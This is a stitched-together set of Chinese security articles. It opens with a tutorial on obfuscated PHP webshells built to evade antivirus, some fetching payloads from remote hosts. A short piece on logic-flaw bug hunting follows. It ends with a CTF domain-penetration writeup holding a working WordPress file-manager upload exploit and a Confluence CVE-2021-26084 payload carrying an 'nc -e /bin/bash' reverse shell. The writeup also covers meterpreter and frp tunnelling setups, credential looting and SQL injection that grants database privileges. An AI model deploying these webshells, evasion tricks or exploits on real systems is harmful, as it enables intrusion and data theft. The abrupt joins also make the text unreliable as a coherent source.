function __construct(){
$this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->LRXV = @SYXJ($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function MNWK($QSFX){
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$NLHB = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
$v <<= 8;
$v += ord($QSFX[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$NLHB .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);}}
if ($vbits > 0){
$v <<= (5 - $vbits);
$NLHB .= $BASE32_ALPHABET[$v];}
return $NLHB;}
function SYXJ($QSFX){
$NLHB = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
$v <<= 5;
if ($QSFX[$i] >= 'a' && $QSFX[$i] <= 'z'){
$v += (ord($QSFX[$i]) - 97);
} elseif ($QSFX[$i] >= '2' && $QSFX[$i] <= '7') {
$v += (24 + $QSFX[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8){
$vbits -= 8;
$NLHB .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);}}
return $NLHB;}
?>
* ascii码移位payload（凯撒加密）
<?php
class FKPC{
function __construct(){
$this->TQYV = "bs^i%!\MLPQXwbolZ&8";
$this->WZDM = @HHGJ($this->TQYV);
@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
}}
new FKPC();
function HHGJ($UyGv) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
$svfe[] = chr((ord($f[$i])+3));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>
居然没过webdir+
那如何解决呢 我们后面再说 当然应付D盾还是绰绰有余了
Rot13加密payload
<?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'riny($_CBFG[mreb]);';
$this->LRXV = @str_rot13($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
?>
二进制转化payload
<?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';
$this->LRXV = @BinToStr($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function BinToStr($str){
$arr = explode(' ', $str);
foreach($arr as &$v){
$v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));
}
return join('', $arr);
}
?>
这里就不列举了 只要方法正确 绕过杀软是很简单的
**0x02：通过http获得关键参数**
上面那个凯撒密码不是被webdir+杀了吗 我们在这里将他绕过
众所周知凯撒密码需要设置往前或往后移几位ascii 这个参数可以设置为解密方法的输入参数 经过测试 此参数在源码中会被沙盒跑出了 因此不能过百度杀毒 ，那么
我不写本地不就行了 我直接起一个http服务访问文本获得参数值。
<?php
class FKPC{
function __construct(){
$url = "http://xxxxx:8080/1.txt";
$fp = fopen($url, 'r');
stream_get_meta_data($fp);
while (!feof($fp)) {
$body.= fgets($fp, 1024);
}
$this->x = $body;
$this->TQYV = "bs^i%!\MLPQXwbolZ&8";
$this->WZDM = @HHGJ($this->TQYV,$this->x);
@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
}}
new FKPC();
function HHGJ($UyGv,$x) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
$svfe[] = chr((ord($f[$i])+$x));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>
当然肯定能用
但是 这转了一圈简直不低碳啊 我不能直接http获取payload吗 ...
简化代码：
<?php
class KUYE{
public $a = 'yshasaui';
public $b = '';
function __construct(){
$url = "http://xxx/1.txt";
$fp = fopen($url, 'r');
stream_get_meta_data($fp);
while (!feof($fp)) {
$body.= fgets($fp, 1024);
}
$this->b = $body;
@eval("/*GnSpe=121u*/".$this->b."/*Gn212Spe=u*/");
}}
new KUYE();
?>
**0x03：重写函数Bypass**
众所周知 正则类杀软最喜欢直接把危险函数加入规则 那么 它杀的是函数名 还是逻辑呢？
试一试就知道了
我们的样本如下：
<?php
$a = substr("assertxx",0,6);
$a($_POST['x']);
?>
这是个使用substr函数切割关键字的小马
直接扔到webdir+杀
毫无疑问的被杀了
那么 我们重写substr函数
function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}
然后把函数替换
<?php
$b = 'assert(xyz@';
$c = mysubstr($b,0,6);
$c($_POST['zero']);
function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}
?>
再拿去杀
结论很清楚了
再来D盾杀一下
不错 报2级了 这就是沙盒型查杀和正则类查杀的明显区别 怎么过呢 用构造方法即可
<?php
class pure
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}
?>
看到这里大家可能也很奇怪 这里都没用到mysubstr函数 放上去不是多此一举吗
不好意思 恰恰不是 我们可以去掉这个函数 用D盾杀一下
<?php
class pure
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
?>
怎么样 是不是很有趣
这里放这堆代码并不是为了真的用它 而是为了过D盾的特征查杀 所以放什么函数是无所谓的。
比如这样：
<?php
class pure
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($a,$b) {
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
}
?>
这里只介绍了重写substr函数 那么其他的函数可以吗 当然可以
**0x04：写在后面
只要思想不滑坡 方法总比困难多 | 社区文章 |
## SRC逻辑漏洞挖掘浅谈
_[前言]_
距离最近挖src到今天刚好一个月了，最近比较忙吧。具体应该算是5月份了，上一个月挖src的同时也被拉去参加《西安互联网安全城市巡回赛》了，还算比较幸运，通过几个逻辑漏洞，线下赛获得还算不错的结果。这个月的逻辑漏洞也相对集中。于是想写篇文章针对逻辑漏洞稍微总结一下。并且包括js静态文件信息泄漏的利用，对于这一的出发点点也是因为在这次比赛中通过js静态文件找到了一个相对不错的高危,在这篇文章做一个引入，具体将更新在下一篇文章中。
## 1.资产收集
### 1.1业务范围
巧用搜索引擎首推谷歌查看了解SRC旗下涉及到的业务，收集其对应的业务下的域名，再进一步进行挖掘，如：
整理，再进行常规资产收集
### 1.2常规性质资产收集
基本的资产收集方式：子域名枚举、端口扫描、路径扫描、旁站c段查询
* 子域名
子域名爆破：
sublist3r、subdomainsBurte、DiscoverSubdomain、layer子域名挖掘机
子域名枚举
通过网络空间安全搜索引擎
云悉资产、FOFA、Virustotal、Dnsdumpster、Threatcrowd
* 路径扫描
dirsearch 、御剑、
* 旁站C段查询
在线旁站C段查询：www.webscan.cc、www.5kik.com、phpinfo.me
### 1.3信息泄漏
* **敏感目录/文件**
[猪猪侠weakfilescan](https://github.com/ring04h/weakfilescan)、[cansina](https://github.com/deibit/cansina)、[sensitivefilescan](https://xz.aliyun.com/t/535)、FileSensor
* **网页源码/js/json泄漏敏感接口**
1)接口泄漏
2）json敏感信息泄漏
目前发现关于这部分没有发现比较好的收集工具或脚本，因此打算写一个，目前还正在编写中，主要基于chrom协议、pyppeteer框架动态触发爬取包含ajax以尽可能的收集到url、接口、域名：
a)网站源码涉及到的子域名ur接口资产爬取
b)网站源码js中包含的请求或拼接的访问接口
c高级功能）url接口中json信息泄漏识别
**备注：该部分的具体内容将在下一篇文章【谈js静态文件在漏洞挖掘中的利用】继续更新**
### 1.4其他业务查找
微信公众号绑定接口、app、老旧的登陆接口、版本迭代
## 2.越权
* 改识别用户参数
* 改cookie
* 越权访问
* 登陆后，修改密码 未校验id与用户 修改id 即可该其他人密码
* 修改个人数据时 页面源代码有用户标识符id 抓包修改或添加id
* 直接访问后台链接禁用js则不会跳转登录界面，直接登陆
* 登陆分为账号和游客登陆，游客功能有限，app端只前端检测，模拟发包即可
* 越权订单查看打印下载、越权操作他人收货地址、增删改查等。
## 3.逻辑漏洞
任意用户注册、密码重置、密码找回、
### 3.1本地验证、修改返回包
1）获取验证码后任意输入一个验证码。
2）抓包放行，得到的返回包如下
3）抓包改返回包修改为正确的返回包覆盖错误的返回包，如下
{“code”:1,”data”:”目标用户手机号”,”msg”:”绑定成功Ÿ”}
4）放行，修改成功
### 3.2手机号、验证码、用户未统一验证问题
未对原绑定手机号、验证码、用户未统一验证，或验证码未绑定 只验证验证码正确，没判断用户id 或手机号，修改想改的id 正确手机验证码即可
如密码找回重置时未对原绑定手机号验证进行任意账号密码重置
150 ** _\_** 73账号被重置
### 3.3密码重置类其他逻辑问题
1. 以重置成功的token覆盖最后一步错误的token和1类似。
2. 密码重置时删除mobilephone参数值修改email参数值
3. 假如找回需要4部，最后一部有user参数，用自己账号正常到第三部，第四部修改user实现
4.支付逻辑漏洞
5.步骤，可跳过步骤
酒店..
## 6.爆破、枚举
1. 撞库，登陆时无验证码且可无限被尝试，用户名验证时有无用户名错误回显、密码可被爆破
2. 无验证码，验证码不刷新，验证码4位过于简单无尝试次数限制可被爆破、
3. 枚举注册用户 输入用户名，发送请求验证用户名是否正确(若返回次数限制,可测试服务端未限制高频访问)
4. 登陆失败有次数限制,若包中有限制参数可更改或删除参数
5. 邮箱轰炸，短信轰炸，burp Repeate，短信轰炸验证码有60秒限制时，有的参数修改后可绕过 如
1）isVerfi参数 这里是1 回包 3 手机没收到信息 存在验证码限制
改为0 回显2 绕过了验证码限制
## 7.其他
* cookie一直有效，（修改密码后）
第三方账户登录绕过(拦截微博授权成功的请求地址： <https://api.weibo.com/oauth2/sso_authorize?sflag=1>
修改response中uid，服务端没有校验客户端提交的uid与授权成功的uid相同)
### 8.总结
在挖洞的过程中还是比较注重有耐心，细心测试更多参数、同时也需要我们不断的交流学习新思路，才会有更进一步的收获。另外也需要1>注重安全开发2>知识积累当然、关键还是得看自己。 | 社区文章 |
# ISOON2021 线下域渗透题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## ISOON2021 线下域渗透题解
### 拓扑图
注:写wp的时候因为换过一次环境，所以ip可能会有所变化~
## 0x 01 web
<http://192.168.10.48/>
访问为一个wordpress
扫描目录，发现robots.txt
发现存在插件wp-file-manager，通过搜索发现一个任意文件上传漏洞
<https://github.com/w4fz5uck5/wp-file-manager-0day/blob/master/elFinder.py>
#!/usr/bin/env python2
import requests
import sys
print("Usage: %s http://localhost" % sys.argv[0])
burp0_url = "%s/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" % sys.argv[1]
burp0_headers = {"User-Agent": "curl/7.68.0", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=------------------------66e3ca93281c7050", "Expect": "100-continue", "Connection": "close"}
burp0_data = "--------------------------66e3ca93281c7050\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n--------------------------66e3ca93281c7050\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n--------------------------66e3ca93281c7050\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"x.php\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x01^\x00\x00\x01^\x04\x03\x00\x00\x00?\x05j)\x00\x00\x00\x1ePLTE\xff\xff\xff\xef\xef\xef\xe5\xe5\xe5\xce\xce\xce\xa1\xa1\xa1iiiVVVGGG333\x00\x00\x00g\x00\xcc\xe2\x00\x00\r\xc0IDATx\xda\xed]K[\xdb\xc8\x12m\xc9\xce^\xc6\x90\xbb58\t\xdc\x9dm\x9c\t\xd9\xd9X\x1e\xc2\x8e\x87I\xc22\t!\x93\xe5@xmc\x02\xf1\xda\x0f\xa9\xff\xed]`\xeb\xddVU\xc9C\xb5\xe6\xa2-\xd4\xa7\xf2Q\xe9\xa8\x1fuN\x8b\xdf\xb9\xba\xee\x84\xbc\"^\xd7\x83\xc7\x8f\xbc\x9a\x08\xa7\xb1F\xbb\xaa\x97\xf4\xc8:5\xf2^L,A\xbb\x8cSr\xe4\x055\xd2\xbc\x17\x0eC\xbe\xe4H\xf3NL*\x8f\x8f\xd2i\xbe\xf05Y\xf05\xffM\xf5[*\x95J\xb9\xc1\xb7\xdc\xb4\x8f\xde\x9f\x1e\xf5\xec\x86\x95\x83\xfa\xadv\xff\x92\xd3\xcb\xfd\xba]\xd1\x86\x1f\x92Q2\xeck\x19\xb8\xdc\x93FB\xa4>\xf5[\xde\x91\x91k\xd2\xd1\x18\xdf\xeaG\x19\xbb\xdcCK\xd7\xfa-\x97\x12\x90\xb0.\xfcP>\x9629a-\xf9\xd7\xdc\x95\x8a\xcb\xdd\xd6\x11\xdf\x1d\xa9\xbc&5\xfd\xea\xf7\xe5@\x9d\xaf\xbc\xad\xe8\xc6\x0f\x85c9\xef:\xd0\x8c\x8d\x9d\xb9\xe9J\xa7\xa6\x17\xbe\xcb\x83\xf9\xf9\xca[\xad\xea\xd7\xd8MIW\xba-\x9d\xf8\xe1\x85L\xbdn-}\xf87\x1d^)eK\x1f|\x97\x01\xe9\xfa\x15\xcc_\xbf\x10x\xa5[\xd3\x85\x1f\n\x03H\xbe\xf2\\\x17\xfe}\x03JW\x8e+z\xe0k\x1c\xc3\xf2\x95m=\xea\xb7\x08LW\x8e\xf4\xe0\x87-h\xbe\xd3{1\xf3\xaf\t-\x07)\xf7t\xc0\x17\\\x0eR\xf6u\xa8\xdfux\xbe\x0f\x8b\xb7\xbc\xfc\x00\xfa\x16\x87\xbe\xc9\xbc\xfc\x0b\xfcX<\\\x9f\xf8\xf1E\x94\xef\x94\xd1x\xeb\xf7\r&\xdf\xb1\xc5\xce\x0f\x98\xf2\x95\xb2\xc6\xcd\xbf\xc6wT\xbe\xfb\xdc\xf8\x16P\xe9\xca\x9f\xdc\xf5\xbb\x8c\xcbw\xc4\xcd\x0f\x1b\xb8|\xc7\x163\xff\xbe\xc5\xe5\xeb\xd6x\xf15p\xf4 e\x8b\xb7~\x91\xf4 e\x9b\x97\x1f\xcc\x012\xdf\xbfy\xf9\x17IgR\xf6y\xf1]\xc6\xe6;\xe4\xad\xdfg\xd8|G\x16+?\xac`\xf3\x1d\xf3\xf2\xef::_^|\xb7\xb0\xf9:\x16k\xfd\xbe\xc5\xe6\xebV\xb2\xf0Yf|\xf1\xf9\xd6X\xf1\xc5~\x8e\xa5\xcc\x19\xbe2o\xf8\xd6\x84q\xc9\x87/%_\xf3k\x8e\xf8![=<>\xbe\xcc\xfc@\xe13\xce\xef\x1b\xe5{\xc1\x89\xef\x066\xdf\t/\xffR\xc6;\x9c\xf8\xaeP\xc6\xbf\x8c\xf8\xe2\xc7\xeb\xbc\xf3\x8b\"z>\xc4\x8b\xef#\xcf73\xe3\x8b\x9e\xcf\x12\xac\xf8\x1a\xc7\xc8|\x99\xd7w\x04a=\x8a\x13_\xf4z_\x85\x19\xdfW\xf8\xf5T\xce\xf1/e\xbd\x9as\xfc\x8b%\xb43\xc1\x8c/\x92 \xf6\xd8\xf7\xe7\xf1\xfbY\xbc\xfbo\xaf\xb0\xaf\x1b\xf3\xfe&j\x041\x14\xec\xfb\xc7\xe6\r\"\xdf\x03\xc1\xdf\x1f\xb5\x8b,_\xee\xfe(D\x01?tt1\xf7\x97<f?\xccB\xfa\xa3\x8e1\x83\x1d\r\xfaS\xd7\x11sc\x1d\xf0-\xe2\xca\x81\xbd\xbf\x0f\xbc'\xdb\x8eF\xf2\xe0+\xfe\xc0\xf5{\xb2\xf7\xa7\x16`\x9f\x8c\xcfB\x13|\xc5;\xd0\xcePM\xe8Q\xbfB\x14\x07\xf0\xb7M\x0b}\x00\xe0\x8ds\xeb\xde/\xe5\xd7\xb7,\xa7\x03|+4\xc2\xd7H\xad`\xb7\xb6\x88|\x17\xa6\x1fJ\xad\xe0sK\x11\xc9\x82o*\x07\x8f\x03z'-\xf4\xb1)z\xb2mu$\x0f\xbe\xf3_\xb9\x1f\xd6\x9cH\x16|\x85x\x9d\xfe%\xd6\x86\x1f\x84\x10\xc2Tr\xc4\xa4\x1d\xfe\xa5\x9a\xe8\xbb\x0b\xef@\xf2X}\xfc\t\xca\x1f\x93\xd3]\x9c^z\xc1\xfa\xf9$\x84\x9d\x8e\x05\x88d\xc1W\x88\xa5n\x94%~m\xc7#5\xf2\xd70\x9a\xa1\x9apz\x15h$\x0b\xbeB\x88B\xf3\xc3\x0c\xe3\xbb^\x03\x13\xc9\x81\xaf\x10B\x946\xedn\xf7\xa8kw\xd6p\xbf\x94\x07\xdfi\xceB\xfd\xd7\xbc\xf9\x1b\xe5\xcd'o\xfeFF\xde\xf0\xfd\xf2\xe7rVK\xb4k\xe9\xb4B\x8d\xbc\xa4\xde\xb3p/\xdc\xafG\xb4\xeb\xfd\xe0\xe8\xf1#'B\xdeS\xbd\xf4\xe45\xd5\xbf\xcf\xa5\xde\xf3\xda\x11\x0e\xd9K\xef\x94\x1c\xf9m\x8d\x1ay\x97\xb3\xf7\xed>\x83\x1f\xde\xd3\xf7\xed\xe9\xfb\xf6\xf4}\x8b\xfcimssss\xcd\xcaE\xfd\x1ae\xfb\xfd\xf5@J\xf7\xfe\xc8n\xe8?\xfe-\x07\xad\xf4\xeez\xab\xda\xe0\x9b<\xbfhF\x16/~u,\x8d\xf15^\x0f\xe26o\x15m\xeb\xd7\xf83ie(\xb6\x18\xa0\x0b?$\xa7+e\xcf\xd2\x92\r\xe5Rl\xc4\xaaP\x13|\xd5\xd6t\xee\xbe\x86\xf5[\x9c\xb3\x9d\xeb\xd4\xb5\xe3\x07s\xeef\xe3\xa8\xa2\x1b\xff\xbe\x9e\xbf\xb3t\xa8\x19\xbei\x9b\xfbA/H\x1d\xea\xf7\x1d|#W\x07~H\xdf\xda\x0f:\xff\xf1\xf3/\xa0u\xe2V#|!\x9d\x13>\xc0\xfc\xf5\xfbN\xa2:=\xb8\xf9\x01\xd6\xf9\xe3\xf5\"\xb0\xf3/\xb0\xf7\xf2\xb3&\xf8B\x9b\xc9\xc7\x96\x1e\xf5\x0b\xee\x0cl\xe9<?php system($_GET[\"cmd\"]); ?>\r\n--------------------------66e3ca93281c7050--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print("URL Shell: %s/wp-content/plugins/wp-file-manager/lib/files/x.php?cmd=<CMD>")
while True:
cmd = raw_input("$ ")
burp0_url = "%s/wp-content/plugins/wp-file-manager/lib/files/x.php?cmd=%s" % (sys.argv[1], cmd)
burp0_headers = {"User-Agent": "curl/7.68.0", "Accept": "*/*", "Expect": "100-continue", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers)
print(r.text)
python2 .\wp-file-manager.py http://192.168.10.48/
**上线msf**
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.168.1.128
set lport 4444
run
查看内网网段
run get_local_subnets
双网卡
挂路由，扫描内网存活主机
run autoroute -s 10.1.16.0/24
auxiliary/scanner/portscan/tcp
扫描top100
22,3389,3306,1433,21,25,8080,80,81,8081,7001,8000,8088,8888,9090,8090,88,8001,82,9080,8082,8089,9000,8443,9999,8002,89,8083,8200,8008,90,8086,801,8011,8085,9001,9200,8100,8012,85,8084,8070,7002,8091,8003,99,7777,8010,443,8028,8087,83,7003,10000,808,38888,8181,800,18080,8099,8899,86,8360,8300,8800,8180,3505,7000,9002,8053,1000,7080,8989,28017,9060,888,3000,8006,41516,880,8484,6677,8016,84,7200,9085,5555,8280,7005,1980,8161,9091,7890,8060,6080,6379,8880,8020,7070,889,8881,9081,8009,7007,8004,38501,1010
发现存活主机
[+] 10.1.16.67: - 10.1.16.67:445 - TCP OPEN
[+] 10.1.16.69: - 10.1.16.69:22 - TCP OPEN
[+] 10.1.16.69: - 10.1.16.69:3306 - TCP OPEN
[+] 10.1.16.80: - 10.1.16.80:139 - TCP OPEN
[+] 10.1.16.69: - 10.1.16.69:8090 - TCP OPEN
[+] 10.1.16.68: - 10.1.16.68:135 - TCP OPEN
[+] 10.1.16.70: - 10.1.16.70:80 - TCP OPEN
[+] 10.1.16.67: - 10.1.16.67:135 - TCP OPEN
[+] 10.1.16.68: - 10.1.16.68:139 - TCP OPEN
[+] 10.1.16.68: - 10.1.16.68:445 - TCP OPEN
[+] 10.1.16.70: - 10.1.16.70:135 - TCP OPEN
[+] 10.1.16.80: - 10.1.16.80:135 - TCP OPEN
[+] 10.1.16.80: - 10.1.16.80:445 - TCP OPEN
[+] 10.1.16.80: - 10.1.16.80:80 - TCP OPEN
[+] 10.1.16.68: - 10.1.16.68:8080 - TCP OPEN
[+] 10.1.16.70: - 10.1.16.70:139 - TCP OPEN
[+] 10.1.16.66: - 10.1.16.66:135 - TCP OPEN
[+] 10.1.16.66: - 10.1.16.66:445 - TCP OPEN
[+] 10.1.16.82: - 10.1.16.82:139 - TCP OPEN
[+] 10.1.16.67: - 10.1.16.67:139 - TCP OPEN
[+] 10.1.16.68: - 10.1.16.68:3306 - TCP OPEN
[+] 10.1.16.68: - 10.1.16.68:80 - TCP OPEN
[+] 10.1.16.71: - 10.1.16.71:445 - TCP OPEN
[+] 10.1.16.70: - 10.1.16.70:445 - TCP OPEN
[+] 10.1.16.71: - 10.1.16.71:135 - TCP OPEN
[+] 10.1.16.71: - 10.1.16.71:80 - TCP OPEN
[+] 10.1.16.71: - 10.1.16.71:139 - TCP OPEN
[+] 10.1.16.66: - 10.1.16.66:139 - TCP OPEN
[+] 10.1.16.82: - 10.1.16.82:80 - TCP OPEN
## 0x02 wiki
设置代理
上传frp到windows上
frps.ini
[common]
bind_port = 7000
vhost_http_port = 10080
vhost_https_port = 10443
allow_ports = 1000-50000
攻击机运行frps
./frps -c frps.ini
frpc.ini
[common]
server_addr = 172.168.1.128
server_port = 7000
[socks1]
type = tcp
remote_port = 6666
plugin = socks5
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555
remote_port = 7002
目标机器运行frpc
访问8090，发现是一个confluence，Confluence 是 Atlassian 公司出品的一款专业的企业知识管理与协同软件。
参考CVE-2021-26084
vulhub上的poc:
POST /pages/doenterpagevariables.action HTTP/1.1
Host: 192.168.10.129:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1060
Origin: http://192.168.10.129:8000
Connection: close
Referer: http://192.168.10.129:8000/pages/doenterpagevariables.action
Cookie: JSESSIONID=67C450235CD839CF8F51DC9E4541FE44
Upgrade-Insecure-Requests: 1
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022 id %5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
这里发现发现机器是centos,在linux上Confluence的默认权限为confluence，没有写权限，所以我们这里没办法直接写webshell了。但是这里可以利用centos上的nc先拿到一共shell进行操作。
上传lcx.exe进行端口转发
start /min lcx.exe -tran 7777 172.168.1.128 3333
POST /pages/doenterpagevariables.action HTTP/1.1
Host: 192.168.10.129:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1159
Origin: http://192.168.10.129:8000
Connection: close
Referer: http://192.168.10.129:8000/pages/doenterpagevariables.action
Cookie: JSESSIONID=67C450235CD839CF8F51DC9E4541FE44
Upgrade-Insecure-Requests: 1
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022 nc -e /bin/bash 10.1.16.68 7777 %5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
python -c "import pty;pty.spawn('/bin/bash')"
之后可以再上线msf，先做端口转发:
start /min lcx.exe -tran 8888 172.168.1.128 1111
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.1.16.68 LPORT=8888 -f elf > test7002.elf
tmp目录是所有用户共有的临时文件夹，所有用户都拥有读写权限，所以可以将elf写到/tmp下执行。
本机的信息收集，查看数据库账号密码:
cat /var/atlassian/application-data/confluence/confluence.cfg.xml
<property name="hibernate.connection.password">2021ISoon!@#</property>
<property name="hibernate.connection.url">jdbc:mysql://localhost:3306/confluence?useUnicode=true&characterEncoding=UTF-8&useSSL=false&sessionVariables=tx_isolation='READ-COMMITTED'</property>
<property name="hibernate.connection.username">confluenceuser</property>
得到账号密码为
confluenceuser 2021ISoon!@#
查看用户信息
select id,user_name,credential from cwd_user;
发现confluence里的密码是加密的，但是我们这里可以重置后台账号密码:
UPDATE cwd_user SET credential= '{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm' WHERE id = 229377;
之后使用isoon2021admin/123456登录后台即可
公告栏获得 flag。
得到oa用户和密码
## 0x03 OA
10.1.16.70
先看看OA的版本11.7:
根据拿到的文档表，使用权限高的用户登录。11.7版本后台getshell方法有好几种: **上传.user.ini** 、
**redis+SSRF组合拳** 、 **后台sql注入添加用户写weshsell** ，这里可以任意选择一种方式拿到webshell。
演示后台sql注入添加用户写weshsell，添加用户:
http://10.1.16.70/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO 'cyzcc'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
远程连接
mysql -u cyzcc -p -h 10.1.16.70 -P 3336
然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限：
